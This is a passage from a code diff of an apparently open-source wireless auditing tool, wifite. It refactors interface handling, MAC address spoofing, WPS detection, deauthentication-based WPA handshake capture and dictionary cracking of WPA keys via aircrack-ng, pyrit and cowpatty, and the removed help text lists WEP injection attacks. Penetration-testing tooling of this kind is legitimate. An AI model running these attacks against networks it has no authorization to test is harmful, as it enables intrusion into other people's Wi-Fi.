'') - # get the revision - start = page.find('REVISION = ') - stop = page.find(";", start) + start = buff.find('REVISION = ') + stop = buff.find(";", start) if start != -1 and stop != -1: start += 11 - rev = page[start:stop] + rev = buff[start:stop] try: irev = int(rev) except ValueError: rev = rev.split('\n')[0] print R + '[+] invalid revision number: "' + rev + '"' - return irev -def help(): - """ - Prints help screen - """ - head = W - sw = G - var = GR - des = W - de = G +########################### +# WIRELESS CARD FUNCTIONS # +########################### - print head + ' COMMANDS' + W - print sw + '\t-check ' + var + '\t' + des + 'check capfile ' + var + '' + des + ' for handshakes.' + W - print sw + '\t-cracked \t' + des + 'display previously-cracked access points' + W - print sw + '\t-recrack \t' + des + 'allow recracking of previously cracked access points' + W - print '' +class Interface: + def __init__(self, iface): + + self.iface=iface + # self.prop={} + + # proc=Popen(['iwconfig', iface], stdout=DN, stderr=DN) + + # proc.wait() + # rows=proc.communicate()[0].split('\n') + + # cells=rows[0].split(" ") + # self.prop['protocol']=cells[1].strip() + # self.prop['essid']=cells[2].strip() + # for i,row in enumerate(rows): + # if i != 0: + # if row.find(":") != -1: + # tmp=row.split(":") + # self.prop+={tmp[0].strip(): tmp[1].strip()} + # elif row.find("=") != -1: + # tmp=row.split("=") + # self.prop+={tmp[0].strip(): tmp[1].strip()} + # else: + # print "Error when parsing '" + row + "'" + # #cells=[cells,""] + self.original_mac=self.get_mac() + self.current_mac=self.original_mac + self.monitor_mode=[] + + def is_monitor_mode(self): + return re.match("^(wlan\d+mon|mon\d+)$",self.iface) != None + #def check_mode(self): + # if self.monitor + def rtl8187_fix(self): + """ + Attempts to solve "Unknown error 132" common with RTL8187 devices. + Puts down interface, unloads/reloads driver module, then puts iface back up. + Returns True if fix was attempted, False otherwise. + """ + # Check if current interface is using the RTL8187 chipset + iface = self.iface + proc_airmon = Popen(['airmon-ng'], stdout=PIPE, stderr=DN) + proc_airmon.wait() + using_rtl8187 = False + for line in proc_airmon.communicate()[0].split(): + line = line.upper() + if line.strip() == '' or line.startswith('INTERFACE'): continue + if line.find(iface.upper()) and line.find('RTL8187') != -1: using_rtl8187 = True - print head + ' GLOBAL' + W - print sw + '\t-all \t' + des + 'attack all targets. ' + de + '[off]' + W - #print sw+'\t-pillage \t'+des+'attack all targets in a looping fashion.'+de+'[off]'+W - print sw + '\t-i ' + var + ' \t' + des + 'wireless interface for capturing ' + de + '[auto]' + W - print sw + '\t-mon-iface ' + var + ' \t' + des + 'interface in monitor mode for capturing ' + de + '[auto]' + W - print sw + '\t-mac \t' + des + 'anonymize mac address ' + de + '[off]' + W - print sw + '\t-c ' + var + '\t' + des + 'channel to scan for targets ' + de + '[auto]' + W - print sw + '\t-e ' + var + ' \t' + des + 'target a specific access point by ssid (name) ' + de + '[ask]' + W - print sw + '\t-b ' + var + ' \t' + des + 'target a specific access point by bssid (mac) ' + de + '[auto]' + W - print sw + '\t-showb \t' + des + 'display target BSSIDs after scan ' + de + '[off]' + W - print sw + '\t-pow ' + var + ' \t' + des + 'attacks any targets with signal strenghth > ' + var + 'db ' + de + '[0]' + W - print sw + '\t-quiet \t' + des + 'do not print list of APs during scan ' + de + '[off]' + W - print '' + if not using_rtl8187: + # Display error message and exit + println_error('unable to generate airodump-ng CSV file') + println_error('you may want to disconnect/reconnect your wifi device') + return False #self.RUN_CONFIG.exit_gracefully(1) - print head + '\n WPA' + W - print sw + '\t-wpa \t' + des + 'only target WPA networks (works with -wps -wep) ' + de + '[off]' + W - print sw + '\t-wpat ' + var + ' \t' + des + 'time to wait for WPA attack to complete (seconds) ' + de + '[500]' + W - print sw + '\t-wpadt ' + var + ' \t' + des + 'time to wait between sending deauth packets (sec) ' + de + '[10]' + W - print sw + '\t-strip \t' + des + 'strip handshake using tshark or pyrit ' + de + '[off]' + W - print sw + '\t-crack ' + var + '\t' + des + 'crack WPA handshakes using ' + var + '' + des + ' wordlist file ' + de + '[off]' + W - print sw + '\t-dict ' + var + '\t' + des + 'specify dictionary to use when cracking WPA ' + de + '[phpbb.txt]' + W - print sw + '\t-aircrack \t' + des + 'verify handshake using aircrack ' + de + '[on]' + W - print sw + '\t-pyrit \t' + des + 'verify handshake using pyrit ' + de + '[off]' + W - print sw + '\t-tshark \t' + des + 'verify handshake using tshark ' + de + '[on]' + W - print sw + '\t-cowpatty \t' + des + 'verify handshake using cowpatty ' + de + '[off]' + W - - print head + '\n WEP' + W - print sw + '\t-wep \t' + des + 'only target WEP networks ' + de + '[off]' + W - print sw + '\t-pps ' + var + ' \t' + des + 'set the number of packets per second to inject ' + de + '[600]' + W - print sw + '\t-wept ' + var + ' \t' + des + 'sec to wait for each attack, 0 implies endless ' + de + '[600]' + W - print sw + '\t-chopchop \t' + des + 'use chopchop attack ' + de + '[on]' + W - print sw + '\t-arpreplay \t' + des + 'use arpreplay attack ' + de + '[on]' + W - print sw + '\t-fragment \t' + des + 'use fragmentation attack ' + de + '[on]' + W - print sw + '\t-caffelatte \t' + des + 'use caffe-latte attack ' + de + '[on]' + W - print sw + '\t-p0841 \t' + des + 'use -p0841 attack ' + de + '[on]' + W - print sw + '\t-hirte \t' + des + 'use hirte (cfrag) attack ' + de + '[on]' + W - print sw + '\t-nofakeauth \t' + des + 'stop attack if fake authentication fails ' + de + '[off]' + W - print sw + '\t-wepca ' + GR + ' \t' + des + 'start cracking when number of ivs surpass n ' + de + '[10000]' + W - print sw + '\t-wepsave \t' + des + 'save a copy of .cap files to this directory ' + de + '[off]' + W - - print head + '\n WPS' + W - print sw + '\t-wps \t' + des + 'only target WPS networks ' + de + '[off]' + W - print sw + '\t-wpst ' + var + ' \t' + des + 'max wait for new retry before giving up (0: never) ' + de + '[660]' + W - print sw + '\t-wpsratio ' + var + '\t' + des + 'min ratio of successful PIN attempts/total tries ' + de + '[0]' + W - print sw + '\t-wpsretry ' + var + '\t' + des + 'max number of retries for same PIN before giving up ' + de + '[0]' + W - - print head + '\n EXAMPLE' + W - print sw + '\t./wifite.py ' + W + '-wps -wep -c 6 -pps 600' + W - print '' + println_warning("attempting " + O + "RTL8187 'Unknown Error 132'" + W + " fix...") + original_iface = iface + # Take device out of monitor mode + airmon = Popen(['airmon-ng', 'stop', iface], stdout=PIPE, stderr=DN) + airmon.wait() + for line in airmon.communicate()[0].split('\n'): + if line.strip() == '' or \ + line.startswith("Interface") or \ + line.find('(removed)') != -1: + continue + original_iface = line.split()[0] # line[:line.find('\t')] -########################### -# WIRELESS CARD FUNCTIONS # -########################### + # Remove drive modules, block/unblock ifaces, probe new modules. + print_and_exec(['ifconfig', original_iface, 'down']) + print_and_exec(['rmmod', 'rtl8187']) + print_and_exec(['rfkill', 'block', 'all']) + print_and_exec(['rfkill', 'unblock', 'all']) + print_and_exec(['modprobe', 'rtl8187']) + print_and_exec(['ifconfig', original_iface, 'up']) + print_and_exec(['airmon-ng', 'start', original_iface]) + print '\r \r', + println_warning('restarting scan...\n') + + return True + + def disable_monitor_mode(self): #disable_monitor_mode + + print_info('disabling monitor mode on %s...' % (G + self.iface+ W)) + stdout.flush() + + for mon in self.monitor_mode: + proc=Popen(['airmon-ng', 'stop', mon.iface], stdout=DN, stderr=DN) + proc.wait() + lines=proc.communicate()[0] + + if re.match(mon.iface + '.*(removed))',lines): + self.monitor_mode.remove(mon) + print 'done' + else: + println_error("unable to disable " + mon.iface) + # mon.disable_monitor_mode() + if re.match("^mon\d+$",self.iface): + proc=Popen(['airmon-ng', 'stop', self.iface], stdout=DN, stderr=DN) + proc.wait() + lines=proc.communicate()[0] + + if re.match(mon.iface + '.*(removed))',lines): + self.monitor_mode.remove(mon) + print 'done' + else: + println_error("unable to disable " + self.iface) + return + return True + def enable_monitor_mode(self): #enable_monitor_mode + iface=self.iface + if re.match("^mon\d+$",self.iface) or re.match("^wlan\d+mon$",self.iface) : + return self + + proc=Popen(['airmon-ng', 'start', iface], stdout=PIPE, stderr=DN) + proc.wait() + last_line="" + + for line in proc.communicate()[0].split('\n'): + if re.match(".*\(monitor mode enabled on ([^\)]+)\).*",line) or re.match(".*monitor mode vif enabled for \[phy\d+\]wlan\d+ on \[phy\d+\](.*)\)",line): + matches=re.match(".*\(monitor mode enabled on ([^\)]+)\).*",line) + if matches == None: + matches=re.match(".*monitor mode vif enabled for \[phy\d+\]wlan\d+ on \[phy\d+\](.*)\)",line) + results=matches.groups() + mon=Interface(results[0]) + self.monitor_mode.append(mon) + return mon + + #print 'done' + #self.RUN_CONFIG.WIRELESS_IFACE = '' # remove this reference as we've started its monitoring counterpart + #self.RUN_CONFIG.IFACE_TO_TAKE_DOWN = self.get_iface() + # if self.RUN_CONFIG.TX_POWER > 0: + # print_info('setting Tx power to %s%s%s...' % (G, self.RUN_CONFIG.TX_POWER, W)) + # call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG) + # call(['iwconfig', iface, 'txpower', self.RUN_CONFIG.TX_POWER], stdout=OUTLOG, stderr=ERRLOG) + # print 'done' + # return self.RUN_CONFIG.IFACE_TO_TAKE_DOWN + #self.monitor_mode.append(iface) + return False + def get_mac(self): #get_mac_address + proc = Popen(['ifconfig', self.iface], stdout=PIPE, stderr=DN) + proc.wait() + mac = '' + first_line = proc.communicate()[0].split('\n')[0] + for word in first_line.split(' '): + if word != '': mac = word + if mac.find('-') != -1: mac = mac.replace('-', ':') + if len(mac) > 17: mac = mac[0:17] + return mac + def set_power(self,power): + #print_info('setting Tx power to %s%s%s...' % (G, power, W)) + call(['iw', 'reg', 'set', 'BO'], stdout=OUTLOG, stderr=ERRLOG) + call(['iwconfig', iface, 'txpower', power], stdout=OUTLOG, stderr=ERRLOG) + #print 'done' + return True + def random_mac(self,old_mac): + """ + Generates a random MAC address. + Keeps the same vender (first 6 chars) of the old MAC address (old_mac). + Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex + """ + random.seed() + new_mac = old_mac[:8].lower().replace('-', ':') + + for i in xrange(0, 6): + if i % 2 == 0: new_mac += ':' + new_mac += '0123456789abcdef'[random.randint(0, 15)] + + # Prevent generating the same MAC address via recursion. + if new_mac == old_mac: + new_mac = self.generate_random_mac(old_mac) + return new_mac + def randomize_mac(self): #mac_anonymize + return self.set_mac(self.random_mac(self.original_mac)) + def set_mac(self,new_mac): + """ + Changes MAC address of 'iface' to a random MAC. + Only randomizes the last 6 digits of the MAC, so the vender says the same. + Stores old MAC address and the interface in ORIGINAL_IFACE_MAC + """ + self.down() + proc = Popen(['ifconfig', self.iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN) + proc.wait() + self.up() + self.current_mac=new_mac + return True + def set_real_mac(self): #mac_change_back + """ + Changes MAC address back to what it was before attacks began. + """ + if self.original_mac == self.current_mac: + return True + + #print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + self.iface + W, G + old_mac +W), + #stdout.flush() + + self.down() + proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN) + proc.wait() + self.up() + #print "done" + return True + def down(self): + return call(['ifconfig', self.iface, 'down'], stdout=DN, stderr=DN) + def up(self): + return call(['ifconfig', self.iface, 'up'], stdout=DN, stderr=DN) ###################### # SCANNING FUNCTIONS # ###################### +class wash: + def __init__(self): + self.is_old=self.is_old_version() + self.program_name="wash" + self.length=[18,9,6,13,12,27] + def get_result(self,cap_file): + rows=[] + cmd = [self.program_name, '-f', cap_file ] + + if self.is_old: + cmd.append('-C') # ignore Frame Check Sum errors + proc = Popen(cmd, stdout=PIPE, stderr=DN) + proc.wait() - - + for line in proc.communicate()[0].split('\n'): + if line.strip() == '' or line.startswith('Scanning for'): continue + row=[] + start=0 + for l in self.length: + row.append(line[start:l+start].strip(" ")) + start+=l + rows.append(row) + #print row + return rows + def is_old_version(self): + p=Popen(['wash'], stdout=PIPE, stderr=PIPE) + p.wait() + matches=re.match("Wash v(\d+)\.(\d+)\.(\d+)",p.stdout.read().split("\n")[1]) + result=matches.groups(); + if result[0] == "1" and result[1] < "5": + return True + else: + return False def wps_check_targets(targets, cap_file, verbose=True): @@ -1773,42 +2626,38 @@ def wps_check_targets(targets, cap_file, verbose=True): Uses reaver's "walsh" (or wash) program to check access points in cap_file for WPS functionality. Sets "wps" field of targets that match to True. """ + global RUN_CONFIG - if not program_exists('walsh') and not program_exists('wash'): - RUN_CONFIG.WPS_DISABLE = True # Tell 'scan' we were unable to execute walsh + if not file_search('walsh') and not file_search('wash'): + RUN_CONFIG.WPS_PIN_ATTACK_DISABLE = True # Tell 'scan' we were unable to execute walsh return - program_name = 'walsh' if program_exists('walsh') else 'wash' + program_name = 'walsh' if file_search('walsh') else 'wash' if len(targets) == 0 or not os.path.exists(cap_file): return if verbose: - print GR + ' [+]' + W + ' checking for ' + G + 'WPS compatibility' + W + '...', + println_info('checking for ' + G + 'WPS compatibility' + W + '...',) stdout.flush() - - cmd = [program_name, - '-f', cap_file, - '-C'] # ignore Frame Check Sum errors - proc_walsh = Popen(cmd, stdout=PIPE, stderr=DN) - proc_walsh.wait() - for line in proc_walsh.communicate()[0].split('\n'): - if line.strip() == '' or line.startswith('Scanning for'): continue - bssid = line.split(' ')[0] - + w=wash() + rows=w.get_result(cap_file) + for row in rows: for t in targets: - if t.bssid.lower() == bssid.lower(): + if t.bssid == row[0]: t.wps = True + t.wps_locked=True if (row[4] == "Yes") else False + break if verbose: print 'done' - removed = 0 - if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE: - i = 0 - while i < len(targets): - if not targets[i].wps and targets[i].encryption.find('WPA') != -1: - removed += 1 - targets.pop(i) - else: - i += 1 - if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W) + #removed = 0 + #if not RUN_CONFIG.WPS_DISABLE and RUN_CONFIG.WPA_DISABLE: + # i = 0 + # while i < len(targets): + # if not targets[i].wps and targets[i].encryption.find('WPA') != -1: + # removed += 1 + # targets.pop(i) + # else: + # i += 1 + # if removed > 0 and verbose: print GR + ' [+]' + O + ' removed %d non-WPS-enabled targets%s' % (removed, W) def print_and_exec(cmd): @@ -1818,7 +2667,7 @@ def print_and_exec(cmd): """ print '\r \r', stdout.flush() - print O + ' [!] ' + W + 'executing: ' + O + ' '.join(cmd) + W, + print_info('executing: ' + O + ' '.join(cmd) + W) stdout.flush() call(cmd, stdout=DN, stderr=DN) time.sleep(0.1) @@ -1834,10 +2683,11 @@ def remove_airodump_files(prefix): Used by wpa_get_handshake() and attack_wep() """ global RUN_CONFIG - remove_file(prefix + '-01.cap') - remove_file(prefix + '-01.csv') - remove_file(prefix + '-01.kismet.csv') - remove_file(prefix + '-01.kismet.netxml') + + exts=['-01.cap','-01.ivs','-01.csv','-01.kismet.csv','-01.kismet.netxml'] + for ext in exts: + remove_file(prefix + ext) + for filename in os.listdir(RUN_CONFIG.temp): if filename.lower().endswith('.xor'): remove_file(RUN_CONFIG.temp + filename) for filename in os.listdir('.'): @@ -1850,7 +2700,15 @@ def remove_airodump_files(prefix): os.remove(temp + 'wep-' + str(i) + '.cap') i += 1 """ - +def read_and_blank_file(filename): + buff="" + if os.path.exists(filename): + f=open(filename,"r") + buff=f.read() + f.close() + f=open(filename,"w") + f.close() + return buff def remove_file(filename): """ @@ -1861,27 +2719,24 @@ def remove_file(filename): except OSError: pass - -def program_exists(program): +def file_search(program): """ - Uses 'which' (linux command) to check if a program is installed. + Uses 'which' or 'locate' (linux command) to check if a program is installed. """ + searchers=[['which','',''],['locate','','']] #['whereis','',''], + for searcher in searchers: + proc = Popen([searcher[0], searcher[1] + program + searcher[2]], stdout=PIPE, stderr=PIPE) + txt = proc.communicate() + if txt[0].strip() != '' and txt[1].strip() == '': + return txt[0].strip().split("\n")[0] - proc = Popen(['which', program], stdout=PIPE, stderr=PIPE) - txt = proc.communicate() - if txt[0].strip() == '' and txt[1].strip() == '': - return False - if txt[0].strip() != '' and txt[1].strip() == '': - return True - - return not (txt[1].strip() == '' or txt[1].find('no %s in' % program) != -1) - + return False def sec_to_hms(sec): """ Converts integer sec to h:mm:ss format """ - if sec <= -1: return '[endless]' + if sec <= -1: return '[oo]' h = sec / 3600 sec %= 3600 m = sec / 60 @@ -1893,165 +2748,22 @@ def send_interrupt(process): """ Sends interrupt signal to process's PID. """ - try: - os.kill(process.pid, SIGINT) - # os.kill(process.pid, SIGTERM) - except OSError: - pass # process cannot be killed - except TypeError: - pass # pid is incorrect type - except UnboundLocalError: - pass # 'process' is not defined - except AttributeError: - pass # Trying to kill "None" - - -def get_mac_address(iface): - """ - Returns MAC address of "iface". - """ - proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN) - proc.wait() - mac = '' - first_line = proc.communicate()[0].split('\n')[0] - for word in first_line.split(' '): - if word != '': mac = word - if mac.find('-') != -1: mac = mac.replace('-', ':') - if len(mac) > 17: mac = mac[0:17] - return mac - - -def generate_random_mac(old_mac): - """ - Generates a random MAC address. - Keeps the same vender (first 6 chars) of the old MAC address (old_mac). - Returns string in format old_mac[0:9] + :XX:XX:XX where X is random hex - """ - random.seed() - new_mac = old_mac[:8].lower().replace('-', ':') - for i in xrange(0, 6): - if i % 2 == 0: new_mac += ':' - new_mac += '0123456789abcdef'[random.randint(0, 15)] - - # Prevent generating the same MAC address via recursion. - if new_mac == old_mac: - new_mac = generate_random_mac(old_mac) - return new_mac - - -def mac_anonymize(iface): - """ - Changes MAC address of 'iface' to a random MAC. - Only randomizes the last 6 digits of the MAC, so the vender says the same. - Stores old MAC address and the interface in ORIGINAL_IFACE_MAC - """ - global RUN_CONFIG - if RUN_CONFIG.DO_NOT_CHANGE_MAC: return - if not program_exists('ifconfig'): return - - # Store old (current) MAC address - proc = Popen(['ifconfig', iface], stdout=PIPE, stderr=DN) - proc.wait() - for word in proc.communicate()[0].split('\n')[0].split(' '): - if word != '': old_mac = word - RUN_CONFIG.ORIGINAL_IFACE_MAC = (iface, old_mac) - - new_mac = generate_random_mac(old_mac) - - call(['ifconfig', iface, 'down']) - - print GR + " [+]" + W + " changing %s's MAC from %s to %s..." % (G + iface + W, G + old_mac + W, O + new_mac + W), - stdout.flush() - - proc = Popen(['ifconfig', iface, 'hw', 'ether', new_mac], stdout=PIPE, stderr=DN) - proc.wait() - call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN) - print 'done' - - -def mac_change_back(): - """ - Changes MAC address back to what it was before attacks began. - """ - global RUN_CONFIG - iface = RUN_CONFIG.ORIGINAL_IFACE_MAC[0] - old_mac = RUN_CONFIG.ORIGINAL_IFACE_MAC[1] - if iface == '' or old_mac == '': return - - print GR + " [+]" + W + " changing %s's mac back to %s..." % (G + iface + W, G + old_mac + W), - stdout.flush() - - call(['ifconfig', iface, 'down'], stdout=DN, stderr=DN) - proc = Popen(['ifconfig', iface, 'hw', 'ether', old_mac], stdout=PIPE, stderr=DN) - proc.wait() - call(['ifconfig', iface, 'up'], stdout=DN, stderr=DN) - print "done" - - -def get_essid_from_cap(bssid, capfile): - """ - Attempts to get ESSID from cap file using BSSID as reference. - Returns '' if not found. - """ - if not program_exists('tshark'): return '' - - cmd = ['tshark', - '-r', capfile, - '-R', 'wlan.fc.type_subtype == 0x05 && wlan.sa == %s' % bssid, - '-n'] - proc = Popen(cmd, stdout=PIPE, stderr=DN) - proc.wait() - for line in proc.communicate()[0].split('\n'): - if line.find('SSID=') != -1: - essid = line[line.find('SSID=') + 5:] - print GR + ' [+]' + W + ' guessed essid: %s' % (G + essid + W) - return essid - print R + ' [!]' + O + ' unable to guess essid!' + W - return '' - - -def get_bssid_from_cap(essid, capfile): - """ - Returns first BSSID of access point found in cap file. - This is not accurate at all, but it's a good guess. - Returns '' if not found. - """ - global RUN_CONFIG - - if not program_exists('tshark'): return '' - - # Attempt to get BSSID based on ESSID - if essid != '': - cmd = ['tshark', - '-r', capfile, - '-R', 'wlan_mgt.ssid == "%s" && wlan.fc.type_subtype == 0x05' % (essid), - '-n', # Do not resolve MAC vendor names - '-T', 'fields', # Only display certain fields - '-e', 'wlan.sa'] # souce MAC address - proc = Popen(cmd, stdout=PIPE, stderr=DN) - proc.wait() - bssid = proc.communicate()[0].split('\n')[0] - if bssid != '': return bssid - - cmd = ['tshark', - '-r', capfile, - '-R', 'eapol', - '-n'] - proc = Popen(cmd, stdout=PIPE, stderr=DN) - proc.wait() - for line in proc.communicate()[0].split('\n'): - if line.endswith('Key (msg 1/4)') or line.endswith('Key (msg 3/4)'): - while line.startswith(' ') or line.startswith('\t'): line = line[1:] - line = line.replace('\t', ' ') - while line.find(' ') != -1: line = line.replace(' ', ' ') - return line.split(' ')[2] - elif line.endswith('Key (msg 2/4)') or line.endswith('Key (msg 4/4)'): - while line.startswith(' ') or line.startswith('\t'): line = line[1:] - line = line.replace('\t', ' ') - while line.find(' ') != -1: line = line.replace(' ', ' ') - return line.split(' ')[4] - return '' - + if isinstance(process,list): + for p in process: + send_interrupt(p) + else: + if process != None and process.poll() is None: + try: + os.kill(process.pid, SIGINT) + # os.kill(process.pid, SIGTERM) + except OSError: + pass # process cannot be killed + except TypeError: + pass # pid is incorrect type + except UnboundLocalError: + pass # 'process' is not defined + except AttributeError: + pass # Trying to kill "None" def attack_interrupted_prompt(): """ @@ -2115,7 +2827,8 @@ def __init__(self, iface, target, clients, config): self.clients = clients self.target = target self.RUN_CONFIG = config - + self.key_file=RUN_CONFIG.temp + str(target) + '.key.txt' + self.dump_file_prefix=RUN_CONFIG.temp + str(target) def RunAttack(self): ''' Abstract method for initializing the WPA attack @@ -2127,6 +2840,155 @@ def EndAttack(self): Abstract method for ending the WPA attack ''' pass + def save_cracked(self,capfile,key): + t = Target(capfile.bssid, 0, 0, 0, 'WPA', capfile.ssid,key) + self.RUN_CONFIG.save_cracked(t) + + def crack(self,capfile): + """ + Cracks cap file using aircrack-ng/pyrit/cowpatty + This is crude and slow. If people want to crack using pyrit or cowpatty or oclhashcat, + they can do so manually. + """ + RUN_CONFIG=self.RUN_CONFIG + # print file_search('phpbb.txt') + programs=['aircrack-ng','pyrit','cowpatty','oclhashcat'] + # if RUN_CONFIG.WPA_DICTIONARY == '' and RUN_CONFIG.WPA_HASH == '': + # println_error('no WPA dictionary found! use -dict command-line argument') + # return False + + print GR + ' [0:00:00]' + W + ' cracking %s with %s' % (G + capfile.ssid + W, G + programs[self.RUN_CONFIG.WPA_CRACK -1] + W) + start_time = time.time() + cracked = False + + remove_file(RUN_CONFIG.temp + 'out.out') + remove_file(self.key_file) + cmd = ['aircrack-ng', + '-a', '2', # WPA crack + '-w', RUN_CONFIG.WPA_DICTIONARY, # Wordlist + '-l', self.key_file, # Save key to file + '-b', capfile.bssid, # BSSID of target + capfile.filename] + keywords=["\] (\d+) keys tested \((\d+\.\d+) k/s\)","Passphrase not in dictionary","KEY FOUND! \[ (.*) \]"] + + if RUN_CONFIG.WPA_CRACK == 2: + if RUN_CONFIG.WPA_HASH != "": + cmd = ['pyrit','-r', capfile.filename, '-i', RUN_CONFIG.WPA_HASH, '-b', capfile.bssid, '-e', capfile.ssid,'-o', self.key_file,'attack_cowpatty'] + else: + cmd = ['pyrit','-r', capfile.filename, '-i', RUN_CONFIG.WPA_DICTIONARY, '-b', capfile.bssid, '-e', capfile.ssid,'-o', self.key_file,'attack_passthrough'] + keywords=["Tried (\d+) PMKs so far; (\d+) PMKs per second\.","Password was not found\.","The password is '(.*)'\."] + #"pyrit -r wpapsk-linksys.dump.gz -o wpapsk-linksys_stripped.dump.gz strip" + if RUN_CONFIG.WPA_CRACK == 3: + if RUN_CONFIG.WPA_HASH != "": + cmd = ['cowpatty','-r', capfile.filename, '-d', RUN_CONFIG.HASH,'-s', capfile.ssid] + else: + cmd = ['cowpatty','-r', capfile.filename, '-f',RUN_CONFIG.WPA_DICTIONARY,'-s', capfile.ssid] + keywords=["key no\. (\d+):","Unable to identify the PSK","The PSK is \"(.*)\"\."] + println_debug(" ".join(cmd)) + out_filename=RUN_CONFIG.temp + str(self.target) + ".out" + if os.path.exists( out_filename): + remove_file( out_filename) + fout=open( out_filename, 'a') + proc = Popen(cmd, stdout=fout, stderr=fout) + done = False + try: + total_key_tested = 0 # Keys tested + speed = 0 # Keys per second + start_time=time.time() + while not done: + time.sleep(1) + + # if RUN_CONFIG.WPA_CRACK==1 and proc.poll() != None: # program stopped + # if os.path.exists(RUN_CONFIG.temp + 'wpakey.txt'): + # # Cracked + # inf = open(RUN_CONFIG.temp + 'wpakey.txt') + # key = inf.read().strip() + # inf.close() + # RUN_CONFIG.WPA_FINDINGS.append('cracked wpa key for "%s" (%s): "%s"' % ( + # G + capfile.ssid + W, G + capfile.bssid + W, C + key + W)) + # RUN_CONFIG.WPA_FINDINGS.append('') + # self.save_cracked(capfile,key) + + # print GR + '\n [+]' + W + ' cracked %s (%s)!' % (G + capfile.ssid + W, G + capfile.bssid) + # println_info('key: "%s"\n' % (C + key + W)) + # cracked = True + # done = True + # else: + # # Did not crack + # println_error('crack attempt failed' + O + ': passphrase not in dictionary' + W) + # done = True + # break + + if not cracked: + + # inf = open(RUN_CONFIG.temp + 'out.out', 'r') + # lines = inf.read().split('\n') + # inf.close() + # outf = open(RUN_CONFIG.temp + 'out.out', 'w') + # outf.close() + #print proc.stdout.tell() + lines=read_and_blank_file(out_filename).split("\n") + + for line in lines: + if not done and line != "": + #print line + if re.match(".*"+ keywords[0] + ".*",line): + matches=re.match(".*"+ keywords[0] + ".*",line) + results=matches.groups() + if len(results)== 2: + total_key_tested=int(results[0]) + speed=float(results[1]) + else: + total_key_tested=int(results[0]) + speed=total_key_tested/(time.time()-start_time) + + print "\r %s %s keys tested (%s%.2f%s keys/sec) " % \ + (GR + sec_to_hms(time.time() - start_time) + W, G + add_commas(total_key_tested) + W, G, speed, W), + stdout.flush() + # else: + # print "no match: " + line + " - " + keywords[0] + if re.match(".*"+ keywords[1] + ".*",line): + print '' + println_info('crack attempt failed! passphrase not in dictionary') + done = True + if re.match(".*"+ keywords[2] + ".*",line): + matches=re.match(".*"+ keywords[2] + ".*",line) + results=matches.groups() + print '' + println_info('cracked %s (%s)! password is "%s"' % (G + capfile.ssid + W, G + capfile.bssid + W, G + results[0]+ W)) + self.save_cracked(capfile,results[0]) + cracked=True + done = True + if not done and not cracked and proc.poll() != None: + if proc.poll() != 0: + println_error(('program exit unexpectedly with exit code %s! You may need to crack the network manually.') % proc.poll()) + done = True + # i = line.find(']') + # j = line.find('keys tested', i) + # if i != -1 and j != -1: + # kts = line[i + 2:j - 1] + # try: + # kt = int(kts) + # except ValueError: + # pass + # i = line.find('(') + # j = line.find('k/s)', i) + # if i != -1 and j != -1: + # kpss = line[i + 1:j - 1] + # try: + # kps = float(kpss) + # except ValueError: + # pass + except KeyboardInterrupt: + print R + '\n (^C)' + O + ' WPA cracking interrupted' + W + + send_interrupt(proc) + try: + os.kill(proc.pid, SIGTERM) + except OSError: + pass + + return cracked def wpa_get_handshake(self): """ @@ -2142,35 +3004,35 @@ def wpa_get_handshake(self): if self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0: self.RUN_CONFIG.WPA_ATTACK_TIMEOUT = -1 - # Generate the filename to save the .cap file as _aa-bb-cc-dd-ee-ff.cap - save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \ - + '_' + self.target.bssid.replace(':', '-') + '.cap' - + + # Check if we already have a handshake for this SSID... If we do, generate a new filename - save_index = 0 - while os.path.exists(save_as): + save_index = 1 + while True: + # Generate the filename to save the .cap file as _aa-bb-cc-dd-ee-ff.cap + save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + str(self.target) + '_' + str(save_index) + '.cap' + if not os.path.exists(save_as): + break save_index += 1 - save_as = self.RUN_CONFIG.WPA_HANDSHAKE_DIR + os.sep + re.sub(r'[^a-zA-Z0-9]', '', self.target.ssid) \ - + '_' + self.target.bssid.replace(':', '-') \ - + '_' + str(save_index) + '.cap' + # Remove previous airodump output files (if needed) - remove_airodump_files(self.RUN_CONFIG.temp + 'wpa') + remove_airodump_files(self.dump_file_prefix ) # Start of large Try-Except; used for catching keyboard interrupt (Ctrl+C) try: # Start airodump-ng process to capture handshakes cmd = ['airodump-ng', - '-w', self.RUN_CONFIG.temp + 'wpa', + '-w', self.dump_file_prefix, '-c', self.target.channel, - '--bssid', self.target.bssid, self.iface] + '--bssid', self.target.bssid, self.iface.iface] proc_read = Popen(cmd, stdout=DN, stderr=DN) # Setting deauthentication process here to avoid errors later on proc_deauth = None - - print ' %s starting %swpa handshake capture%s on "%s"' % \ - (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, G, W, G + self.target.ssid + W) + print ' %s %s' % \ + (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT) + W, get_start_message('WPA handshake capture', self.target)) + got_handshake = False seconds_running = 0 @@ -2182,16 +3044,14 @@ def wpa_get_handshake(self): while not got_handshake and ( self.RUN_CONFIG.WPA_ATTACK_TIMEOUT <= 0 or seconds_running < self.RUN_CONFIG.WPA_ATTACK_TIMEOUT): if proc_read.poll() != None: - print "" - print "airodump-ng exited with status " + str(proc_read.poll()) - print "" + println_error("airodump-ng exited with status " + str(proc_read.poll())) break time.sleep(1) seconds_running = int(time.time() - start_time) print " \r", print ' %s listening for handshake...\r' % \ - (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running) + W), + (GR + sec_to_hms(self.RUN_CONFIG.WPA_ATTACK_TIMEOUT - seconds_running)), stdout.flush() if seconds_running % self.RUN_CONFIG.WPA_DEAUTH_TIMEOUT == 0: @@ -2213,10 +3073,10 @@ def wpa_get_handshake(self): print " %s sending %s deauth to %s... " % \ (GR + 